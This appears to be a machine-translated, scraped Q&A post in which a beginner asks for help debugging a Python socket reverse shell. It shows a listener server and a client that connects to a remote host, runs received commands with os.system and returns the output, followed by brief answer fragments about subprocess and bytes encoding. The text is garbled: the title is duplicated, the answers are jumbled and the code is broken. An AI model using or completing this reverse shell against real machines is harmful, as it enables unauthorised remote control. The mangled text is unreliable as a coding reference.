我正在使用socket在python中编程一个反向shell toll,我得到一个错误,说';int';对象没有属性';编码';
所有这些都是用python 3.8编写的 这是我的服务器脚本:我正在使用socket在python中编程一个反向shell toll,我得到一个错误,说';int';对象没有属性';编码';,python,sockets,Python,Sockets,所有这些都是用python 3.8编写的 这是我的服务器脚本: import socket import os from cmd_colorizer import colored os.system("cls") s = socket.socket() host = socket.gethostname() port = 8080 s.bind((host, port)) print(colored("[+] Server is running", "green")) print(color
import socket
import os
from cmd_colorizer import colored
os.system("cls")
s = socket.socket()
host = socket.gethostname()
port = 8080
s.bind((host, port))
print(colored("[+] Server is running", "green"))
print(colored("[*] Waiting for connection...", "yellow"))
s.listen(1)
conn, addr = s.accept()
print(colored("[+] Shell established!", "green"))
while True:
cmd = input(str("~#> "))
if cmd == "exit":
exit()
这是我的客户端脚本:
import socket
import os
os.system("cls")
s = socket.socket()
port = 8080
host = "DESKTOP-3EG5VR9"
s.connect((host, port))
while True:
data = s.recv(1024).decode()
redata = os.system(data)
s.send(str(redata.encode()))
我很抱歉,如果这是一个愚蠢的问题,我12岁,正在学习python。有人能帮忙吗?。使用或
子流程。改为运行。那么代码行是什么样的呢?现在我收到了这个错误:“bytes”对象没有属性“encode”encode
只需要将str
转换为bytes
。默认情况下,子流程
函数已经返回字节。